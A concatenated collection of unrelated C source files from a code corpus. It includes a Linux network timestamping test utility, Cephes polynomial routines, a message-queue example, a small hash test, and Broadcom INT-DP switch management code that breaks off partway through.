return get_ip_csum(csum_start, csum_len >> 1, pseudo_sum);
}
static int fill_header_ipv4(void *p)
{
struct iphdr *iph = p;
memset(iph, 0, sizeof(*iph));
iph->ihl = 5;
iph->version = 4;
iph->ttl = 2;
iph->saddr = daddr.sin_addr.s_addr; /* set for udp csum calc */
iph->daddr = daddr.sin_addr.s_addr;
iph->protocol = IPPROTO_UDP;
/* kernel writes saddr, csum, len */
return sizeof(*iph);
}
static int fill_header_ipv6(void *p)
{
struct ipv6hdr *ip6h = p;
memset(ip6h, 0, sizeof(*ip6h));
ip6h->version = 6;
ip6h->payload_len = htons(sizeof(struct udphdr) + cfg_payload_len);
ip6h->nexthdr = IPPROTO_UDP;
ip6h->hop_limit = 64;
ip6h->saddr = daddr6.sin6_addr;
ip6h->daddr = daddr6.sin6_addr;
/* kernel does not write saddr in case of ipv6 */
return sizeof(*ip6h);
}
static void fill_header_udp(void *p, bool is_ipv4)
{
struct udphdr *udph = p;
udph->source = ntohs(dest_port + 1); /* spoof */
udph->dest = ntohs(dest_port);
udph->len = ntohs(sizeof(*udph) + cfg_payload_len);
udph->check = 0;
udph->check = get_udp_csum(udph, is_ipv4 ? sizeof(struct in_addr) :
sizeof(struct in6_addr));
}
static void do_test(int family, unsigned int report_opt)
{
char control[CMSG_SPACE(sizeof(uint32_t))];
struct sockaddr_ll laddr;
unsigned int sock_opt;
struct cmsghdr *cmsg;
struct msghdr msg;
struct iovec iov;
char *buf;
int fd, i, val = 1, total_len;
total_len = cfg_payload_len;
if (cfg_use_pf_packet || cfg_proto == SOCK_RAW) {
total_len += sizeof(struct udphdr);
if (cfg_use_pf_packet || cfg_ipproto == IPPROTO_RAW)
if (family == PF_INET)
total_len += sizeof(struct iphdr);
else
total_len += sizeof(struct ipv6hdr);
/* special case, only rawv6_sendmsg:
* pass proto in sin6_port if not connected
* also see ANK comment in net/ipv4/raw.c
*/
daddr6.sin6_port = htons(cfg_ipproto);
}
buf = malloc(total_len);
if (!buf)
error(1, 0, "malloc");
fd = socket(cfg_use_pf_packet ? PF_PACKET : family,
cfg_proto, cfg_ipproto);
if (fd < 0)
error(1, errno, "socket");
/* reset expected key on each new socket */
saved_tskey = -1;
if (cfg_proto == SOCK_STREAM) {
if (setsockopt(fd, IPPROTO_TCP, TCP_NODELAY,
(char*) &val, sizeof(val)))
error(1, 0, "setsockopt no nagle");
if (family == PF_INET) {
if (connect(fd, (void *) &daddr, sizeof(daddr)))
error(1, errno, "connect ipv4");
} else {
if (connect(fd, (void *) &daddr6, sizeof(daddr6)))
error(1, errno, "connect ipv6");
}
}
if (cfg_do_pktinfo) {
if (family == AF_INET6) {
if (setsockopt(fd, SOL_IPV6, IPV6_RECVPKTINFO,
&val, sizeof(val)))
error(1, errno, "setsockopt pktinfo ipv6");
} else {
if (setsockopt(fd, SOL_IP, IP_PKTINFO,
&val, sizeof(val)))
error(1, errno, "setsockopt pktinfo ipv4");
}
}
sock_opt = SOF_TIMESTAMPING_SOFTWARE |
SOF_TIMESTAMPING_OPT_CMSG |
SOF_TIMESTAMPING_OPT_ID;
if (!cfg_use_cmsg)
sock_opt |= report_opt;
if (cfg_loop_nodata)
sock_opt |= SOF_TIMESTAMPING_OPT_TSONLY;
if (setsockopt(fd, SOL_SOCKET, SO_TIMESTAMPING,
(char *) &sock_opt, sizeof(sock_opt)))
error(1, 0, "setsockopt timestamping");
for (i = 0; i < cfg_num_pkts; i++) {
memset(&msg, 0, sizeof(msg));
memset(buf, 'a' + i, total_len);
if (cfg_use_pf_packet || cfg_proto == SOCK_RAW) {
int off = 0;
if (cfg_use_pf_packet || cfg_ipproto == IPPROTO_RAW) {
if (family == PF_INET)
off = fill_header_ipv4(buf);
else
off = fill_header_ipv6(buf);
}
fill_header_udp(buf + off, family == PF_INET);
}
print_timestamp_usr();
iov.iov_base = buf;
iov.iov_len = total_len;
if (cfg_proto != SOCK_STREAM) {
if (cfg_use_pf_packet) {
memset(&laddr, 0, sizeof(laddr));
laddr.sll_family = AF_PACKET;
laddr.sll_ifindex = 1;
laddr.sll_protocol = htons(family == AF_INET ? ETH_P_IP : ETH_P_IPV6);
laddr.sll_halen = ETH_ALEN;
msg.msg_name = (void *)&laddr;
msg.msg_namelen = sizeof(laddr);
} else if (family == PF_INET) {
msg.msg_name = (void *)&daddr;
msg.msg_namelen = sizeof(daddr);
} else {
msg.msg_name = (void *)&daddr6;
msg.msg_namelen = sizeof(daddr6);
}
}
msg.msg_iov = &iov;
msg.msg_iovlen = 1;
if (cfg_use_cmsg) {
memset(control, 0, sizeof(control));
msg.msg_control = control;
msg.msg_controllen = sizeof(control);
cmsg = CMSG_FIRSTHDR(&msg);
cmsg->cmsg_level = SOL_SOCKET;
cmsg->cmsg_type = SO_TIMESTAMPING;
cmsg->cmsg_len = CMSG_LEN(sizeof(uint32_t));
*((uint32_t *) CMSG_DATA(cmsg)) = report_opt;
}
val = sendmsg(fd, &msg, 0);
if (val != total_len)
error(1, errno, "send");
/* wait for all errors to be queued, else ACKs arrive OOO */
if (!cfg_no_delay)
usleep(50 * 1000);
__poll(fd);
while (!recv_errmsg(fd)) {}
}
if (close(fd))
error(1, errno, "close");
free(buf);
usleep(100 * 1000);
}
static void __attribute__((noreturn)) usage(const char *filepath)
{
fprintf(stderr, "\nUsage: %s [options] hostname\n"
"\nwhere options are:\n"
" -4: only IPv4\n"
" -6: only IPv6\n"
" -h: show this message\n"
" -c N: number of packets for each test\n"
" -C: use cmsg to set tstamp recording options\n"
" -D: no delay between packets\n"
" -F: poll() waits forever for an event\n"
" -I: request PKTINFO\n"
" -l N: send N bytes at a time\n"
" -L listen on hostname and port\n"
" -n: set no-payload option\n"
" -p N: connect to port N\n"
" -P: use PF_PACKET\n"
" -r: use raw\n"
" -R: use raw (IP_HDRINCL)\n"
" -u: use udp\n"
" -v: validate SND delay (usec)\n"
" -V: validate ACK delay (usec)\n"
" -x: show payload (up to 70 bytes)\n",
filepath);
exit(1);
}
static void parse_opt(int argc, char **argv)
{
int proto_count = 0;
int c;
while ((c = getopt(argc, argv, "46c:CDFhIl:Lnp:PrRuv:V:x")) != -1) {
switch (c) {
case '4':
do_ipv6 = 0;
break;
case '6':
do_ipv4 = 0;
break;
case 'c':
cfg_num_pkts = strtoul(optarg, NULL, 10);
break;
case 'C':
cfg_use_cmsg = true;
break;
case 'D':
cfg_no_delay = true;
break;
case 'F':
cfg_poll_timeout = -1;
break;
case 'I':
cfg_do_pktinfo = true;
break;
case 'l':
cfg_payload_len = strtoul(optarg, NULL, 10);
break;
case 'L':
cfg_do_listen = true;
break;
case 'n':
cfg_loop_nodata = true;
break;
case 'p':
dest_port = strtoul(optarg, NULL, 10);
break;
case 'P':
proto_count++;
cfg_use_pf_packet = true;
cfg_proto = SOCK_DGRAM;
cfg_ipproto = 0;
break;
case 'r':
proto_count++;
cfg_proto = SOCK_RAW;
cfg_ipproto = IPPROTO_UDP;
break;
case 'R':
proto_count++;
cfg_proto = SOCK_RAW;
cfg_ipproto = IPPROTO_RAW;
break;
case 'u':
proto_count++;
cfg_proto = SOCK_DGRAM;
cfg_ipproto = IPPROTO_UDP;
break;
case 'v':
cfg_delay_snd = strtoul(optarg, NULL, 10);
break;
case 'V':
cfg_delay_ack = strtoul(optarg, NULL, 10);
break;
case 'x':
cfg_show_payload = true;
break;
case 'h':
default:
usage(argv[0]);
}
}
if (!cfg_payload_len)
error(1, 0, "payload may not be nonzero");
if (cfg_proto != SOCK_STREAM && cfg_payload_len > 1472)
error(1, 0, "udp packet might exceed expected MTU");
if (!do_ipv4 && !do_ipv6)
error(1, 0, "pass -4 or -6, not both");
if (proto_count > 1)
error(1, 0, "pass -P, -r, -R or -u, not multiple");
if (cfg_do_pktinfo && cfg_use_pf_packet)
error(1, 0, "cannot ask for pktinfo over pf_packet");
if (optind != argc - 1)
error(1, 0, "missing required hostname argument");
}
static void resolve_hostname(const char *hostname)
{
struct addrinfo hints = { .ai_family = do_ipv4 ? AF_INET : AF_INET6 };
struct addrinfo *addrs, *cur;
int have_ipv4 = 0, have_ipv6 = 0;
retry:
if (getaddrinfo(hostname, NULL, &hints, &addrs))
error(1, errno, "getaddrinfo");
cur = addrs;
while (cur && !have_ipv4 && !have_ipv6) {
if (!have_ipv4 && cur->ai_family == AF_INET) {
memcpy(&daddr, cur->ai_addr, sizeof(daddr));
daddr.sin_port = htons(dest_port);
have_ipv4 = 1;
}
else if (!have_ipv6 && cur->ai_family == AF_INET6) {
memcpy(&daddr6, cur->ai_addr, sizeof(daddr6));
daddr6.sin6_port = htons(dest_port);
have_ipv6 = 1;
}
cur = cur->ai_next;
}
if (addrs)
freeaddrinfo(addrs);
if (do_ipv6 && hints.ai_family != AF_INET6) {
hints.ai_family = AF_INET6;
goto retry;
}
do_ipv4 &= have_ipv4;
do_ipv6 &= have_ipv6;
}
static void do_listen(int family, void *addr, int alen)
{
int fd, type;
type = cfg_proto == SOCK_RAW ? SOCK_DGRAM : cfg_proto;
fd = socket(family, type, 0);
if (fd == -1)
error(1, errno, "socket rx");
if (bind(fd, addr, alen))
error(1, errno, "bind rx");
if (type == SOCK_STREAM && listen(fd, 10))
error(1, errno, "listen rx");
/* leave fd open, will be closed on process exit.
* this enables connect() to succeed and avoids icmp replies
*/
}
static void do_main(int family)
{
fprintf(stderr, "family: %s %s\n",
family == PF_INET ? "INET" : "INET6",
cfg_use_pf_packet ? "(PF_PACKET)" : "");
fprintf(stderr, "test SND\n");
do_test(family, SOF_TIMESTAMPING_TX_SOFTWARE);
fprintf(stderr, "test ENQ\n");
do_test(family, SOF_TIMESTAMPING_TX_SCHED);
fprintf(stderr, "test ENQ + SND\n");
do_test(family, SOF_TIMESTAMPING_TX_SCHED |
SOF_TIMESTAMPING_TX_SOFTWARE);
if (cfg_proto == SOCK_STREAM) {
fprintf(stderr, "\ntest ACK\n");
do_test(family, SOF_TIMESTAMPING_TX_ACK);
fprintf(stderr, "\ntest SND + ACK\n");
do_test(family, SOF_TIMESTAMPING_TX_SOFTWARE |
SOF_TIMESTAMPING_TX_ACK);
fprintf(stderr, "\ntest ENQ + SND + ACK\n");
do_test(family, SOF_TIMESTAMPING_TX_SCHED |
SOF_TIMESTAMPING_TX_SOFTWARE |
SOF_TIMESTAMPING_TX_ACK);
}
}
const char *sock_names[] = { NULL, "TCP", "UDP", "RAW" };
int main(int argc, char **argv)
{
if (argc == 1)
usage(argv[0]);
parse_opt(argc, argv);
resolve_hostname(argv[argc - 1]);
fprintf(stderr, "protocol: %s\n", sock_names[cfg_proto]);
fprintf(stderr, "payload: %u\n", cfg_payload_len);
fprintf(stderr, "server port: %u\n", dest_port);
fprintf(stderr, "\n");
if (do_ipv4) {
if (cfg_do_listen)
do_listen(PF_INET, &daddr, sizeof(daddr));
do_main(PF_INET);
}
if (do_ipv6) {
if (cfg_do_listen)
do_listen(PF_INET6, &daddr6, sizeof(daddr6));
do_main(PF_INET6);
}
return test_failed;
}
|
the_stack_data/90757.c | #include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <time.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <linux/input.h>
#include <linux/uinput.h>
#define die(str) do{perror(str);exit(EXIT_FAILURE);}while(0)
int main(int argc, char** argv) {
int fd = open("/dev/input/event0",O_WRONLY);
if (fd == 0) {
printf("cant open /dev/input/event0");
} else {
printf("open /dev/input/event0");
}
close(fd);
return 0;
}
|
the_stack_data/18853.c | /* polevl.c
* p1evl.c
*
* Evaluate polynomial
*
*
*
* SYNOPSIS:
*
* int N;
* double x, y, coef[N+1], polevl[];
*
* y = polevl( x, coef, N );
*
*
*
* DESCRIPTION:
*
* Evaluates polynomial of degree N:
*
* 2 N
* y = C + C x + C x +...+ C x
* 0 1 2 N
*
* Coefficients are stored in reverse order:
*
* coef[0] = C , ..., coef[N] = C .
* N 0
*
* The function p1evl() assumes that coef[N] = 1.0 and is
* omitted from the array. Its calling arguments are
* otherwise the same as polevl().
*
*
* SPEED:
*
* In the interest of speed, there are no checks for out
* of bounds arithmetic. This routine is used by most of
* the functions in the library. Depending on available
* equipment features, the user may wish to rewrite the
* program in microcode or assembly language.
*
*/
/*
Cephes Math Library Release 2.1: December, 1988
Copyright 1984, 1987, 1988 by Stephen L. Moshier
Direct inquiries to 30 Frost Street, Cambridge, MA 02140
*/
double polevl( x, coef, N )
double x;
double coef[];
int N;
{
double ans;
int i;
double *p;
p = coef;
ans = *p++;
i = N;
do
ans = ans * x + *p++;
while( --i );
return( ans );
}
/* p1evl() */
/* N
* Evaluate polynomial when coefficient of x is 1.0.
* Otherwise same as polevl.
*/
double p1evl( x, coef, N )
double x;
double coef[];
int N;
{
double ans;
double *p;
int i;
p = coef;
ans = x + *p++;
i = N-1;
do
ans = ans * x + *p++;
while( --i );
return( ans );
}
|
the_stack_data/71199.c | /*
** kirk.c -- writes to a message queue
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/msg.h>
struct my_msgbuf {
long mtype;
char mtext[200];
};
int main(void)
{
struct my_msgbuf buf;
int msqid;
key_t key;
char text[]="Kirk: We are attacked. Spock, send reinforcement.";
key = 12345;
if ((msqid = msgget(key, 0600 | IPC_CREAT)) == -1) {
perror("msgget");
exit(1);
}
memcpy(buf.mtext, text, strlen(text)+1);
buf.mtype = 1;
if (msgsnd(msqid, (struct msgbuf *)&buf, strlen(text)+1, 0) == -1)
perror("msgsnd");
printf("Kirk: Reported attacks to Spock, he will send help!\n");
return 0;
}
|
the_stack_data/206392511.c | #if 0
mini_djb2_hash
mini_buf 128
globals_on_stack
mini_start
shrinkelf
INCLUDESRC
LDSCRIPT default
OPTFLAG -Os
return
#endif
int main(){
volatile int ret=42;
volatile const unsigned char * a1="";
djb2_hash(a1);
return(ret);
}
|
the_stack_data/18889190.c | /*! \file int_dp.c
*
* INT-DP management.
* This file contains the management for INT-DP.
*/
/*
* This license is set out in https://raw.githubusercontent.com/Broadcom-Network-Switching-Software/OpenBCM/master/Legal/LICENSE file.
*
* Copyright 2007-2020 Broadcom Inc. All rights reserved.
*/
#if defined(INCLUDE_INT)
#include <bcm/int.h>
#include <bcm_int/ltsw_dispatch.h>
#include <bcm_int/ltsw/int_dp.h>
#include <bcm_int/ltsw/int.h>
#include <bcm_int/ltsw/index_table_mgmt.h>
#include <bcm_int/ltsw/types.h>
#include <bsl/bsl.h>
#include <shr/shr_debug.h>
#include <sal/sal_mutex.h>
/******************************************************************************
* Local definitions
*/
#define BSL_LOG_MODULE BSL_LS_BCM_INT
typedef struct ltsw_int_dp_info_s {
/* INT-DP initialized flag. */
int initialized;
/*! INT-DP module lock. */
sal_mutex_t int_dp_lock;
} ltsw_int_dp_info_t;
static ltsw_int_dp_info_t ltsw_int_dp_info[BCM_MAX_NUM_UNITS];
#define INT_DP_INFO(unit) (<sw_int_dp_info[unit])
/*! Cause a routine to return SHR_E_INIT if tunnel subsystem is not initialized. */
#define INT_DP_INIT_CHECK(unit) \
do { \
if (INT_DP_INFO(unit)->initialized == 0) { \
SHR_ERR_EXIT(SHR_E_INIT); \
} \
} while (0) \
/*! INT-DP mutex lock. */
#define INT_DP_LOCK(unit) \
do { \
if (INT_DP_INFO(unit)->int_dp_lock) { \
sal_mutex_take(INT_DP_INFO(unit)->int_dp_lock, SAL_MUTEX_FOREVER); \
} else { \
SHR_ERR_EXIT(SHR_E_INIT); \
}\
} while (0)
/*! INT-DP mutex unlock. */
#define INT_DP_UNLOCK(unit) \
do { \
if (INT_DP_INFO(unit)->int_dp_lock) { \
sal_mutex_give(INT_DP_INFO(unit)->int_dp_lock); \
} else { \
SHR_ERR_EXIT(SHR_E_INIT); \
} \
} while (0)
/******************************************************************************
* Private functions
*/
/*!
* \brief Set INT vector match lookup key.
*
* \param [in] unit Unit number.
* \param [in] int_dp_vector_match INT-DP vector match criteria.
* \param [out] int_vector_match INT vector match criteria.
*
* \retval SHR_E_NONE No errors.
* \retval !SHR_E_NONE Failure.
*/
static int
ltsw_int_dp_vector_match_to_int_vector_match_key(
int unit,
bcm_int_dp_vector_match_t *int_dp_vector_match,
bcmi_ltsw_int_vector_match_t *int_vector_match)
{
SHR_FUNC_ENTER(unit);
SHR_NULL_CHECK(int_dp_vector_match, SHR_E_PARAM);
SHR_NULL_CHECK(int_vector_match, SHR_E_PARAM);
int_vector_match->priority = int_dp_vector_match->priority;
int_vector_match->request_vector = int_dp_vector_match->request_vector;
int_vector_match->request_vector_mask = int_dp_vector_match->request_vector_mask;
int_vector_match->type = bcmiIntVectorMatchTypeIntDp;
exit:
SHR_FUNC_EXIT();
}
/******************************************************************************
* Public Functions
*/
/*!
* \brief Get INT-DP vector match criteria.
*
* \param [in] unit Unit number.
* \param [in] int_vector_match INT vector match criteria.
* \param [out] int_dp_vector_match INT-DP vector match criteria.
*
* \retval SHR_E_NONE No errors.
* \retval !SHR_E_NONE Failure.
*/
static int
bcmi_ltsw_int_dp_vector_match_from_int(int unit,
bcmi_ltsw_int_vector_match_t *int_vector_match,
bcm_int_dp_vector_match_t *int_dp_vector_match)
{
SHR_FUNC_ENTER(unit);
SHR_NULL_CHECK(int_dp_vector_match, SHR_E_PARAM);
SHR_NULL_CHECK(int_vector_match, SHR_E_PARAM);
int_dp_vector_match->priority = int_vector_match->priority;
int_dp_vector_match->request_vector = int_vector_match->request_vector;
int_dp_vector_match->request_vector_mask = int_vector_match->request_vector_mask;
int_dp_vector_match->metadata_profile_id = int_vector_match->metadata_profile_id;
exit:
SHR_FUNC_EXIT();
}
/*!
* \brief Get INT-DP action profile.
*
* \param [in] unit Unit number.
* \param [in] int_action_profile INT action profile.
* \param [out] int_dp_action_profile INT-DP action profile.
*
* \retval SHR_E_NONE No errors.
* \retval !SHR_E_NONE Failure.
*/
static int
bcmi_ltsw_int_dp_action_profile_from_int(int unit,
bcmi_ltsw_int_action_profile_t *int_action_profile,
bcm_int_dp_action_profile_t *int_dp_action_profile)
{
SHR_FUNC_ENTER(unit);
SHR_NULL_CHECK(int_dp_action_profile, SHR_E_PARAM);
SHR_NULL_CHECK(int_action_profile, SHR_E_PARAM);
int_dp_action_profile->timestamp_mode = int_action_profile->timestamp_mode;
int_dp_action_profile->residence_time_format =
int_action_profile->residence_time_format;
int_dp_action_profile->header_operation_mode =
int_action_profile->header_operation_mode;
int_dp_action_profile->metadata_profile_id =
int_action_profile->metadata_profile_id;
if (int_action_profile->flags &
BCMI_LTSW_INT_ACTION_PROFILE_FLAGS_IP_LENGTH_UPDATE)
{
int_dp_action_profile->flags |=
BCM_INT_DP_ACTION_PROFILE_FLAGS_IP_LENGTH_UPDATE;
}
if (int_action_profile->flags &
BCMI_LTSW_INT_ACTION_PROFILE_FLAGS_UDP_LENGTH_UPDATE)
{
int_dp_action_profile->flags |=
BCM_INT_DP_ACTION_PROFILE_FLAGS_UDP_LENGTH_UPDATE;
}
exit:
SHR_FUNC_EXIT();
}
/*!
* \brief Initialize the INT-DP module.
*
* Initial INT-DP-realated data structure.
*
* \param [in] unit Unit number.
*
* \retval SHR_E_NONE Success.
* \retval !SHR_E_NONE Failure.
*/
int
bcmi_ltsw_int_dp_init(int unit)
{
SHR_FUNC_ENTER(unit);
if (INT_DP_INFO(unit)->initialized) {
SHR_IF_ERR_VERBOSE_EXIT
(bcmi_ltsw_int_dp_deinit(unit));
}
if (ltsw_int_dp_info[unit].int_dp_lock == NULL) {
ltsw_int_dp_info[unit].int_dp_lock =
sal_mutex_create("bcmLtswIntDpMutex");
SHR_NULL_CHECK(ltsw_int_dp_info[unit].int_dp_lock, SHR_E_MEMORY);
}
INT_DP_INFO(unit)->initialized = 1;
exit:
if (SHR_FUNC_ERR()) {
if (ltsw_int_dp_info[unit].int_dp_lock != NULL) {
sal_mutex_destroy(ltsw_int_dp_info[unit].int_dp_lock);
ltsw_int_dp_info[unit].int_dp_lock = NULL;
}
}
SHR_FUNC_EXIT();
}
/*!
* \brief De-initialize the INT-DP module.
*
* Free INT-DP-realated data structure.
*
* \param [in] unit Unit number.
*
* \retval SHR_E_NONE Success.
* \retval !SHR_E_NONE Failure.
*/
int
bcmi_ltsw_int_dp_deinit(int unit)
{
SHR_FUNC_ENTER(unit);
if (!INT_DP_INFO(unit)->initialized) {
SHR_EXIT();
}
sal_mutex_destroy(ltsw_int_dp_info[unit].int_dp_lock);
ltsw_int_dp_info[unit].int_dp_lock = NULL;
INT_DP_INFO(unit)->initialized = 0;
exit:
SHR_FUNC_EXIT();
}
/*!
* \brief Add a vector match for INT-DP.
*
* \param [in] unit Unit number.
* \param [in] options Add options.
* \param [in] vector_match Vector match criteria.
*
* \retval SHR_E_NONE Success.
* \retval !SHR_E_NONE Failure.
*/
int
bcm_ltsw_int_dp_vector_match_add(int unit, uint32 options,
bcm_int_dp_vector_match_t *vector_match)
{
bcmi_ltsw_int_vector_match_t int_vector_match;
uint32 int_options = 0;
bool int_dp_locked = false;
SHR_FUNC_ENTER(unit);
INT_DP_INIT_CHECK(unit);
SHR_NULL_CHECK(vector_match, SHR_E_PARAM);
INT_DP_LOCK(unit);
int_dp_locked = true;
sal_memset(&int_vector_match, 0, sizeof(bcmi_ltsw_int_vector_match_t));
/* Vector match key. */
SHR_IF_ERR_VERBOSE_EXIT
(ltsw_int_dp_vector_match_to_int_vector_match_key(unit, vector_match,
&int_vector_match));
/* Vector match value. */
int_vector_match.metadata_profile_id = vector_match->metadata_profile_id;
if (options & BCM_INT_DP_VECTOR_MATCH_OPTIONS_REPLACE) {
int_options |= BCMI_LTSW_INT_VECTOR_MATCH_OPTIONS_REPLACE;
}
SHR_IF_ERR_VERBOSE_EXIT
(bcmi_ltsw_int_vector_match_add(unit, int_options, &int_vector_match));
exit:
if (int_dp_locked) {
INT_DP_UNLOCK(unit);
}
SHR_FUNC_EXIT();
}
/*!
* \brief Get the vector match for INT-DP.
*
* \param [in] unit Unit number.
* \param [out] vector_match Vector match criteria.
*
* \retval SHR_E_NONE Success.
* \retval !SHR_E_NONE Failure.
*/
int
bcm_ltsw_int_dp_vector_match_get(int unit,
bcm_int_dp_vector_match_t *vector_match)
{
bcmi_ltsw_int_vector_match_t int_vector_match;
bool int_dp_locked = false;
SHR_FUNC_ENTER(unit);
INT_DP_INIT_CHECK(unit);
SHR_NULL_CHECK(vector_match, SHR_E_PARAM);
INT_DP_LOCK(unit);
int_dp_locked = true;
sal_memset(&int_vector_match, 0, sizeof(bcmi_ltsw_int_vector_match_t));
SHR_IF_ERR_VERBOSE_EXIT
(ltsw_int_dp_vector_match_to_int_vector_match_key(unit, vector_match,
&int_vector_match));
SHR_IF_ERR_VERBOSE_EXIT
(bcmi_ltsw_int_vector_match_get(unit, &int_vector_match));
vector_match->priority = int_vector_match.priority;
vector_match->request_vector = int_vector_match.request_vector;
vector_match->request_vector_mask = int_vector_match.request_vector_mask;
vector_match->metadata_profile_id = int_vector_match.metadata_profile_id;
exit:
if (int_dp_locked) {
INT_DP_UNLOCK(unit);
}
SHR_FUNC_EXIT();
}
/*!
* \brief Delete the vector match for INT-DP.
*
* \param [in] unit Unit number.
* \param [in] vector_match Vector match criteria.
*
* \retval SHR_E_NONE Success.
* \retval !SHR_E_NONE Failure.
*/
int
bcm_ltsw_int_dp_vector_match_delete(int unit,
bcm_int_dp_vector_match_t *vector_match)
{
bcmi_ltsw_int_vector_match_t int_vector_match;
bool int_dp_locked = false;
SHR_FUNC_ENTER(unit);
INT_DP_INIT_CHECK(unit);
INT_DP_LOCK(unit);
int_dp_locked = true;
sal_memset(&int_vector_match, 0, sizeof(bcmi_ltsw_int_vector_match_t));
SHR_IF_ERR_VERBOSE_EXIT
(ltsw_int_dp_vector_match_to_int_vector_match_key(unit, vector_match,
&int_vector_match));
SHR_IF_ERR_VERBOSE_EXIT
(bcmi_ltsw_int_vector_match_delete(unit, &int_vector_match));
exit:
if (int_dp_locked == 1) {
INT_DP_UNLOCK(unit);
}
SHR_FUNC_EXIT();
}
/*!
* \brief Delete all vector matches for INT-DP.
*
* \param [in] unit Unit number.
*
* \retval SHR_E_NONE Success.
* \retval !SHR_E_NONE Failure.
*/
int
bcm_ltsw_int_dp_vector_match_delete_all(int unit)
{
bool int_dp_locked = false;
SHR_FUNC_ENTER(unit);
INT_DP_INIT_CHECK(unit);
INT_DP_LOCK(unit);
int_dp_locked = true;
SHR_IF_ERR_VERBOSE_EXIT
(bcmi_ltsw_int_vector_match_delete_all(unit,
bcmiIntVectorMatchTypeIntDp));
exit:
if (int_dp_locked == 1) {
INT_DP_UNLOCK(unit);
}
SHR_FUNC_EXIT();
}
/*!
* \brief Traverse all vector matches for INT-DP.
*
* \param [in] unit Unit number.
* \param [in] cb A pointer to the callback function to call for each vector match
* \param [in] user_data Pointer to user data to supply in the callback
*
* \retval SHR_E_NONE Success.
* \retval !SHR_E_NONE Failure.
*/
int
bcm_ltsw_int_dp_vector_match_traverse(
int unit,
bcm_int_dp_vector_match_traverse_cb cb,
void *user_data)
{
bool int_dp_locked = false;
SHR_FUNC_ENTER(unit);
INT_DP_INIT_CHECK(unit);
SHR_NULL_CHECK(cb, SHR_E_PARAM);
INT_DP_LOCK(unit);
int_dp_locked = true;
SHR_IF_ERR_VERBOSE_EXIT
(bcmi_ltsw_int_vector_match_dp_traverse(unit, cb,
bcmi_ltsw_int_dp_vector_match_from_int, user_data));
exit:
if (int_dp_locked == 1) {
INT_DP_UNLOCK(unit);
}
SHR_FUNC_EXIT();
}
/*!
* \brief Create the INT-DP action profile.
*
* \param [in] unit Unit number.
* \param [in] options Create options
* \param [in/out] profile_id Action profile ID
* \param [in] profile Action profile
*
* \retval SHR_E_NONE Success.
* \retval !SHR_E_NONE Failure.
*/
int
bcm_ltsw_int_dp_action_profile_create(
int unit,
uint32 options,
int *profile_id,
bcm_int_dp_action_profile_t *profile)
{
bool int_dp_locked = false;
bcmi_ltsw_int_action_profile_t int_profile;
uint32 int_options = 0;
SHR_FUNC_ENTER(unit);
INT_DP_INIT_CHECK(unit);
SHR_NULL_CHECK(profile_id, SHR_E_PARAM);
SHR_NULL_CHECK(profile, SHR_E_PARAM);
sal_memset(&int_profile, 0, sizeof(bcmi_ltsw_int_action_profile_t));
int_profile.timestamp_mode = profile->timestamp_mode;
int_profile.residence_time_format = profile->residence_time_format;
int_profile.header_operation_mode = profile->header_operation_mode;
int_profile.metadata_profile_id = profile->metadata_profile_id;
int_profile.type = bcmiIntActionProfileTypeIntDp;
if (profile->flags & BCM_INT_DP_ACTION_PROFILE_FLAGS_IP_LENGTH_UPDATE)
{
int_profile.flags |= BCMI_LTSW_INT_ACTION_PROFILE_FLAGS_IP_LENGTH_UPDATE;
}
if (profile->flags & BCM_INT_DP_ACTION_PROFILE_FLAGS_UDP_LENGTH_UPDATE)
{
int_profile.flags |= BCMI_LTSW_INT_ACTION_PROFILE_FLAGS_UDP_LENGTH_UPDATE;
}
if (options & BCM_INT_DP_ACTION_PROFILE_OPTIONS_WITH_ID) {
int_options |= BCMI_LTSW_INT_ACTION_PROFILE_OPTIONS_WITH_ID;
}
if (options & BCM_INT_DP_ACTION_PROFILE_OPTIONS_REPLACE) {
int_options |= BCMI_LTSW_INT_ACTION_PROFILE_OPTIONS_REPLACE;
}
INT_DP_LOCK(unit);
int_dp_locked = true;
SHR_IF_ERR_VERBOSE_EXIT
(bcmi_ltsw_int_action_profile_create(unit, int_options, profile_id,
&int_profile));
exit:
if (int_dp_locked) {
INT_DP_UNLOCK(unit);
}
SHR_FUNC_EXIT();
}
/*!
* \brief Get the INT-DP action profile.
*
* \param [in] unit Unit number.
* \param [in] profile_id Action profile ID
* \param [out] profile Action profile
*
* \retval SHR_E_NONE Success.
* \retval !SHR_E_NONE Failure.
*/
int
bcm_ltsw_int_dp_action_profile_get(
int unit,
int profile_id,
bcm_int_dp_action_profile_t *profile)
{
bool int_dp_locked = false;
bcmi_ltsw_int_action_profile_t int_profile;
SHR_FUNC_ENTER(unit);
INT_DP_INIT_CHECK(unit);
SHR_NULL_CHECK(profile, SHR_E_PARAM);
INT_DP_LOCK(unit);
int_dp_locked = true;
sal_memset(&int_profile, 0, sizeof(bcmi_ltsw_int_action_profile_t));
int_profile.type = bcmiIntActionProfileTypeIntDp;
SHR_IF_ERR_VERBOSE_EXIT
(bcmi_ltsw_int_action_profile_get(unit, profile_id, &int_profile));
SHR_IF_ERR_VERBOSE_EXIT
(bcmi_ltsw_int_dp_action_profile_from_int(unit, &int_profile,
profile));
exit:
if (int_dp_locked) {
INT_DP_UNLOCK(unit);
}
SHR_FUNC_EXIT();
}
/*!
* \brief Destroy the INT-DP action profile.
*
* \param [in] unit Unit number.
* \param [in] profile_id Action profile ID
*
* \retval SHR_E_NONE Success.
* \retval !SHR_E_NONE Failure.
*/
int
bcm_ltsw_int_dp_action_profile_destroy(int unit, int profile_id)
{
bool int_dp_locked = false;
SHR_FUNC_ENTER(unit);
INT_DP_INIT_CHECK(unit);
INT_DP_LOCK(unit);
int_dp_locked = true;
SHR_IF_ERR_VERBOSE_EXIT
(bcmi_ltsw_int_action_profile_destroy(unit,
bcmiIntActionProfileTypeIntDp,
profile_id));
exit:
if (int_dp_locked) {
INT_DP_UNLOCK(unit);
}
SHR_FUNC_EXIT();
}
/*!
* \brief Traverse all INT-DP action profiles.
*
* \param [in] unit Unit number.
* \param [in] cb A pointer to the callback function to call for each action profile
* \param [in] user_data Pointer to user data to supply in the callback
*
* \retval SHR_E_NONE Success.
* \retval !SHR_E_NONE Failure.
*/
int
bcm_ltsw_int_dp_action_profile_traverse(
int unit,
bcm_int_dp_action_profile_traverse_cb cb,
void *user_data)
{
bool int_dp_locked = false;
